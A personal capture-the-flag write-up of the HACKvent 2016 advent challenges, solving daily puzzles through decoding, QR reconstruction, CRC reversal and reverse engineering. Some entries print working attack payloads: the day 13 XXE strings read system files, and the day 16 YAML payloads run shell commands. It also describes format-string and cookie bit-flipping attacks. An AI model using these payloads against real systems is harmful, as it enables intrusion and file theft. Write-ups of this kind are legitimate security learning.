HACKvent 2016 write-up

Update 06.01.2017: Added the challenge descriptions. Thanks to khr0x40sh!

HACKvent is a CTF competition provided by Hacking-Lab.com. During advent time every day a new challenge is released. The challenges get harder every day and full points are only given if they get solved within the same day.

I solved all challenges except the last one, but not always the same day though. I had no more time and strength to solve the last one on Christmas. The CTF was a lot of fun but very stressful next to my job.

I ended on rank #23.

Day 01 – Detours:

Follow the white rabbit…



Santa receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it?


If you open all links and analyse them with the built-in browser tools, you can see all are redirected to an intermediate url shortener before you get directed to the final destination:
1: http://tiny.cc/HV16-t8Kd
2: http://tiny.cc/38aY-QxL5
3: http://tiny.cc/bn4K-c6Lw

In the URL of the intermediate url-shortener we see the nugget:

Day 02 – Free Giveaway:

the keys are the key


Today, Santa has a free giveaway for you:


After trying many things(like xoring, substitution cyphers, …) to decrypt the nugget, I thought it must be something related to the hint “they keys are the key”. After some time I came to the conclusion it must be something with the keyboard. I found out it was written with the Dvorak keyboard layout.

I used an online Dvorak converter and got the key.


Day 03 – Manufactory:

Do it yourself


Today’s gift is ready to be manufactured, but Santa’s afraid that his factory won’t manage to do a production run before christmas. But perhaps you can create it yourself?

Get Building Instructions

In the header of the instruction file we can see it was generated by slic3r, which is a g-code generator for 3d printers.

I used an online gcode viewer where I could upload the file: http://gcode.ws/
In the 3D view of the tool a QR Code becomes visible, which then reveals the nugget:


Day 04 – Language Of Us:

Why so seriously?


You all should know this language, but this one is not that consequent as it should be.


First I created a script which translated it to normal text. But this just results in the wikipedia article about steganography. Nothing really useful there. I read the hint again, and it says the leetspeak is not very consequent… So the code must depend on if a character is written in leetspeak or not:
All leetspeak characters are a 1 and all others a 0.

I used this bash command to convert the text to the binary string:

The output of the bash script is:

0010110100101 10 100 10110100 10 1101001011 0 1001, 0110100, 10110, 10 01011 010010 1101001 0110, 1001011, 01001, 01 10100. 101 1010 0101101001011 01001011 010 01011 01001 01101001, 0110100 “1011010, 010110100, 10 110100101”, 101 00101101 0010110 “1001011”.

010 01011 01001011 010 01 011 0100 101 10 10010110 1001011010 01 011 01001011010010, 1 10100101 10 100101101001 011 0100101101001, 011010010 11 0 1001 01 10100. 101101001, 011 010010 11010010 110100 10 11 010010110 1001: 011010, 01011010, 01011010 01011, 01 0010 11010 01011 0100. 101 1010010, 110 100101 1010010 110 10 01 011010010 110 1001011 010 0101101 00101 10 1 0010110 100101. 1010 010110100101101 00 1011010010110 1001 0110 1 001011 010010 110 10010 11 01001011 0100101 101001011, 0101001 000-010101100 01100010011011 0001011 010100 11 1100110111’0 110111101.

001 001001011 01 0101011100110 0110 011010001101 01000 10 1101 010 00010010 010100 1001000 0011 011 1001011 010110001 10 101001 10 11 101100 11 01011001. 0110101 1001010 011010101 00100001 – 11 101000 101 10100101101 – 001011 01001011, 010 010 11 0100101101 00 1011010010110 10 010110100 10110 1001011010 01 0110100. 1011, 0100101 101001011010 01 011 01001011 01 0010110100 101 10100101 10 1 0010110 10010, 1101001011010 01 011010010 1101 0010110100 101 1010 0101 1 010010 1101001 01 10100 1011, 01 0010 11 0100101101 001 01101001 01 101 0010110.

1001011010010 11010010 110 10010110100 10 11010010110 100101 10100101 10100. 10 1101001 0110100101101, 0010110100 10110100101101 001 0110100 10110100101101 001011 010010 11 0 100101101 00101, 1010 01 0 11010010 1101, 00101 1010, 0101101 00 10110100. 10110 10010 110 10010 110 10010110100101 101001011010 0101101 00 10110 10010 1101. 001 0110100, 1 011010 01011 01001 0110 10 010110100 10110 1001 011 010010 110 10010 11 01001 011010010 11010 01 0110100101 10 1 001011 01 001 01101001, 0 110100 10 110100 1011 0100101 101 001011010010 1101001 011 01 00 10110100 10 110100 10.


Day 05 – Boolean Fun:

Every Bit Is Important


Santa found a paper with some strange logical stuff on it. On the back of it there is the hint: “use 32 bit”.

He has no clue what this means – can you show him, what “???” should be?

I took the simple path with python 😉

The result is -291, submitting this to the website returns a QR code with the nugget:

Day 06 – Back 2 Work:

Greetings from Thumper


Greetings from Thumper, he has an order for you:

1. unzip: the password is confidential
2. find the flag
3. look at my holiday pictures

Comment: Be aware, the pictures are only supplement.


Unfortunately the comment, about the pictures being only supplement, was not there from the beginning. I wasted a lot of time trying to find hidden things in the pictures instead of the zip file! 🙁
After the comment was uploaded, it was clear it’s something with the zipfile itself. Looking closer at it with hexdump, shows a suspicious pattern. In the end, where all the filenames in the archive are listed, there are is a pattern with 0x09 and 0x20 between the file names.

013394d0 6d 61 67 65 5f 30 30 30 34 2e 6a 70 67 20 20 20 |mage_0004.jpg |
013394e0 20 20 20 20 09 09 09 09 09 20 09 20 09 09 09 20 | ….. . … |
013394f0 20 20 20 20 20 20 00 50 4b 01 02 14 00 14 00 01 | .PK…….|
01339500 08 08 00 c6 b3 27 49 c3 e9 b1 34 c4 e6 09 00 41 |…..’I…4….A|
01339510 e8 09 00 0e 00 00 00 1a 00 00 00 00 00 00 00 00 |…………….|
01339520 00 1b 89 0c 00 69 6d 61 67 65 5f 30 30 30 35 2e |…..image_0005.|
01339530 6a 70 67 20 09 09 09 09 09 20 09 20 09 20 09 20

If we extract all the 0x09 and 0x20, convert 0x20 to 1 and 0x09 to 0 we get 25 lines of 25 bits. I wrote these 25 binary strings to a textfile and opened it with a text editor. It looks like a QR code! I replaced all the 1 with ‘#’ and the 0 with a whitespace and I got this:

But this is not yet readable by my QR code scanner. I then replaced all the hashtags with Unicode Character ‘FULL BLOCK’ (U+2588):

Still not readable.. After taking a screenshot and resizing the image with Gimp I could finally read it with my QR scanner.


Day 07 – TrivialKRYPTO 1.42:

You think you need the password?


Today’s present is encrypted. Luckily Santa did not use Kryptochef’s KRYPTO 2.0 so there might be a slight chance of recovering it?

Get me there …

First step is analysing the source code of the webpage. There you can see that all the crypto is done in javascript, on the client side. So we know exactly what’s going on, but we first need to understand it. The most relevant parts of the source are:

What means the CRC32 of the entered password is xored with the values in s3cr3t, always 8 bits at the time (see the shifting). The 8 bits are then converted to a character and added to the string s, which in the end reveals the nugget. CRC32 is 32bits, therefore we have 4 runs in the loop until p>0 (p>>=8). This means the s3cr3t[0] loop returns 4 characters which have to be “HV16”!
-> s3cr3t[0] ^ crc32(pass) = “HV16”
-> crc32(pass) = s3cr3t[0] ^ “HV16”
-> crc32(pass) = 2155568001 ^ 0x48563136 //take value & HV16 to hex

-> crc32(pass) = c82d6ab7

How can we reverse the CRC32?!

I downloaded the code in the end and adapt it to our string:

initial: 0x00000000 OK – bytes to add: { 0x84, 0xa3, 0x93, 0x8e }
initial: 0x00000000 OK – string to add: 3tnaIl

Enter ‘3tnaIl’ as password on the website which returns the nugget:

Day 08 – Lost In Encoding:

Multiple encodings = good encryption?


Santa and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe.

It’s now on you, who has to get it up.


Really helpful link!

1. yenc decode the full file
2. base64 decode
3. ASCII85 decode. I had a problems identifying this encoding. It starts with “<~” and ends with “~>”, so it was pretty obvious what to google for. Unfortunately you cannot google this 🙂 The garykessler.net link really helped a lot here!

After the ASCII85 decoding this text is revealed:

Computer science education cannot make anybody an expert programmer any more than studying brushes and pigment can make somebody an expert painter. – Eric S. Raymond

Day 09 – Illegal Prime Number:

Huh – what the f***?


I’ve heard something about illegal prime numbers… Maybe this number contains the flag:

Illegal prime numbers are numbers which hide something illegal in it, apparently this makes the full number illegal :). Most famous example is the illegal prime number which when converted to binary is a zip archive containing the source code to a program which can decrypt DVD movies.

I used the extraction script of this website:

I modified the extraction script to work with the given number. The extracted data is a password protected zip file. With john the ripper and a dictionary I was able to bruteforce the password “qwerty” in no time.

Day 10 – I want to play a Game:

Part One


Reversing Day 1: we’ll start with an easy one.

I was a bit lucky here, didn’t really need to reverse the code:

1. While analysing the binary with hexdump I found this string in the binary, which looks like our nugget somehow encrypted:

2. We know the nugget always starts with “HV16-“”
3. XOR “HV16” with “KR40*” results in “304050607”. Suspicious, isn’t it?
4. If we continue the hex stream until the end:
5. XOR the hex stream with the encrypted nugget:


Day 11 – A-maze-ing GIFt:

Go find the codes!


Will you manage to recover today’s code from this strange picture?

It looks like a maze of some kind, and somewhere deep inside there might be more than what you’d expect at the first glance…

Obviously this is a QR code, but not yet readable in this format.

1. Enhance:
convert qr_code_error.jpg -morphology open square:1 -threshold 98% result.png
2. Did some magic with Gimp


Hidden Nugget:

According to the description it is clear that more than just one code is hidden here. Then they also submitted the hint “In doubt, let the last two parts of your first find lead you deeper into the maze.” to the website. The last two parts of your first find would be TMTO-WTDI, if you google this you find the perl motto “There’s more than one way to do it”.

I tried many different things here until I came to the right solution. It was clear it’s something with Perl but I couldn’t get it at first.

It’s possible to run the MandM.gif as perl:
./perl MandM.gif
Which asks for a PIN.

I wrote a small shell script to bruteforce the key:

The PIN 160417 finally worked:
> xmar ain’t easter 😉

Day 12 – Crypt-o-Math:

Crypto? Math? Maybe both?


you remember math classes at school?
hopefully you payed attention – and even if not, there are other ways to solve this challenge.

Get your lesson here
Easiest way to solve this is to bruteforce it:


Day 13 – JCoinz:

Sometimes less is more


The manager of jcoinz told a developer to implement a transaction tax as fast as possible so he can earn more money. Maybe that was a wrong decision…

nc challenges.hackvent.hacking-lab.com 3117


This was a really nice challenge! While first analysing the code I thought well, this looks very well implemented. But having a closer look revealed 2 problems. 🙂

1. Generate an integer overflow to earn more money:
– The user input is read with Scanner.nextInt() and only allows integers, so no overflow here
– integer range is between -2,147,483,648 and 2,147,483,647
– When you send a negative number it first is accepted by the Scanner.nextInt() method but later gets inverted to positive, there is our integer overflow! If we enter the smallest integer number and it gets inverted to positive it is 1 above the upper boundary! Here are the relevant lines of code:

– Send all but 1 coin to charity
– send -2,147,483,648 which generates the overflow
–> 1 – 2,147,483,648 -2(tax) == Overflow

2. XML Entity attack
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo>
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///home/jcoinz/” >]><foo>&xxe;</foo>
<?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///home/jcoinz/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6” >]><foo>&xxe;</foo>


Day 14 – Radio War Game:

The quieter you become, the more you are able to hear


A UK football fan transmits chants and hopes the gods of football pick it up and consider his favorite, Manchester, to win the cup.

Santa, while using his ham radio station to receive wish-lists from earth, picked it up and saved a copy for his data lake. Can you help Santa to make sense of the signals?

Get the signals

I opened the file in Audacity (File/Import/Raw Data) which showed a really suspicious pattern. Looks like a binary code.

Because of the description I assumed the message was encoded by Manchester-Encoding. I researched how this works exactly and it was not too hard to understand. But I had no idea how I would implement this in a script…
As the binary string didn’t look too long I did manual work and wrote down the pattern to a text file:
01001000 01010110 00110001 00110110 00101101 00110001 00110011 00110011 00110111 00101101 01010010 01100001 01100100 01101001 00101101 01101111 01010111 01100001 01110010 00101101 01100111 01100001 01101101 01100101 00101101 00110001 00110011 00110011 00110111 00001010

Converting the binary string to ASCII text resulted in the nugget:

Day 15 – SAP – Santas Admin Panel:

you better know how to flip around


You got access to Santa’s hompage. But without admin rights there’s nothing to see here…
A valid login is: raindeer10 / s4nt4

Admin Panel

In the description there is the hint to “flip around”. This must be a bit flipping attack!
If we analyse the website and look what is being transferred, we find the cookie “cmlnaHRz” which translates to “rights” if we decode it with base64. This must be our target. I wrote a script to perform the bit-flipping attack and grep the result from the page to see if we were successful. The bit-flipping attack is performed by switching bits which are next to each other, if we’re not successful try the next ones… Read the script for more details:

After successfully performing the bitflipping attack the page reveals a link to a png file containing a QR code:

Day 16 – Marshmallows:

type: “nomnomnom marhshmallow nomnomnom muffin%x was here”


There’s this guy Randy, he loves marshmallows and programming in python and C.
Prove him by hacking his server, that it’s not a good idea to code if you had too many marshmallows.

nc challenges.hackvent.hacking-lab.com 1033


It’s obvious that the first stage is a format string vulnerability. With “%1$s” we can direct access a memory location, the next would be “%2$s” and so on… We need to find the random generated token to get further. It’s a bit hard to exploit, because when reading an uninitialised memory address the program crashes and we have to reconnect. And because it’s an interactive program, we also cannot just write a simple bash script which sends the commands directly as arguments.

I used “expect” to automate the format string exploitation, for every memory access we reconnect to the server so we don’t have the problem if the program crashes and closes the connection:

This way I found out the memory location of the random id is at “%294$s”.

The second stage is a YAML Exploit.
user_input: !!python/object/apply:subprocess.check_output [[ “ls”, “-la”, “/home/marshmallows”]]

Special here is, with the subprocess.check_output we don’t get a response, so I used the subprocess call instead:
user_input: !!python/object/apply:subprocess.call [[ “ls”, “-la”, “/home/marshmallows”]]

With the ls -l command I found the filename for the token and with the second command I could actually read it:
user_input: !!python/object/apply:subprocess.call [[ “cat”, “/home/marshmallows/5ae64891a82f2290f157e8fa419c2d3d”]]

The YAML requests have to be base64 encoded, I posted them unencoded for better readability.


I wrote an auto-pwn script, which does all the steps automatically:

Day 17 – I want to play a Game:

Part 2


so, you enjoyed the first part? that was soooo 90ties – here is something more modern for you to play.

Gimme, gimme, GIMME!

Another reverse engineering challenge.

While going through the assembly instructions I found out there is a CRC32 calculation of all the “fake_partx” strings, which are 5. After the calculations are done there are comparisons with CRC32 checksums and later on we can see there is a printf for HV16-part1-part2-part3-part4-part5. Therefore I came to the conclusion these checksums are the checksums of all the 5 parts we need for our nugget! The 5 checksums are 0xC82065C2, 0x94B12C65, 0x7A6CCECE, 0x9493866C and 0x0FAC9FA1.

As I learned in the Trivial Crypto Challenge (Day 07) 4 Byte CRC32 checksums are reversible:

I used the reverseCRC tool and modified it so it would calculate the values we need. The main method in the ReverseCRC.cpp was adapted like this:

Which results in this:

And if we convert the bytes to ASCII we get our nugget:


Day 18 – Calling Santa:

restricted to 1337s


Attention: this is not a toll-free number!
This challenge can be expensive, depending on your living country. Consider international dialing costs!

Santa has a voice mail box on +41 445 05 1337. But his voice mail box has caller ID protection activated.
If you call from +41 76 000 00 00, you can have a nice talk and your wish will be fulfilled.

1. Used a spoof service
2. After trying around I found the right combination: 1-13-133-1337


Day 19 – Zebra Code:

Get it straight


Get the key and the encrypted message.

Key and message links

1. Map the vectors to the image
2. Go trough the lines and record every pixel if black/white
3. Finally generate barcode from the result

Solved this with the Bresenham’s line algorithm:

@Thanks to orgalorg for the help!

Scanning the generated barcode gave us the nugget:

Day 20 – MitT:

Men in the Thing


You bought a very cool retro weather station.

  • It shows an ascii fire place (small or large fire according to the weather situation)
  • It connects to the internet (using WLAN) to fetch the actual weather and the weather forecast for your place (configurable)
  • It has a standby mode. The display is switched off if you are not around (detecting the MAC-Address of your mobile phone)
  • Many more cool features

But there is an undocumented feature: It will collect data of your local wlan, your settings to the weather station and knows, if someone is around. The weather station will leak this collected data. It also has a backdoor.


  • Download the virtualized retro weather station.
  • Run it and find the poorly crafted port-knocking mechanism
  • Follow the instructions
  • Instead of leaking data or the opening of a reverse shell, the flag will be leaked

Load weather stations

I actually solved this challenge twice. 🙂

Solution 1:

– I dumped the knocker binary from the running vm with “nc”
– I reverse engineered it with Hopper and found this code:
for (i=0;i<30;i++): x_$i = i+ 0x804a078 |* i+0x804058
– I copied the 30 values from the hexdump of both addresses into two files
– Then I wrote a script to OR all the lines


Solution 2:

– I made the VM accessible from my host
– Implemented port knocking in python


Day 21 – Debug me:

if you can


Santa tried to hide todays Flag with some special Tricks – but probably special tools will help you to recover it.

ok, will try it!

This was a hard one, took me quite some time to solve it!

The first step was to be able to run the executable in a debugger without the anti-debugging mechanism kicking in. After some research I found out, that CheatEngine would run it without the process being killed. Now we can debug the program!

With reversing and debugging the file I found out first of all the program checks if the string entered starts with “HV16-“. Then two algorithms are used to check if the nugget is the correct one. The first one I could not identify. The second one is sha1.

If we enter the Flag “HV16-aaaa-bbbb-cccc-dddd-eeee” the first algorithm is first used for the string “aaaabbbb” and again for “ccccdddd”. SHA1 is used in the end for “dddd-eeee”. “aaaabbbb” is compared against the checksum “5D 0A B8 FB 9B 3A 3A EA”, “ccccdddd” is compared against “5A 25 23 88 32 36 86 02” and the sha1 hash is “dde8d5128cf7a04e047c58395d2f119d56f0e1a4”.

I first wrote a python script to reproduce the first algorithm and then a second one to reverse it, to get the initial values back.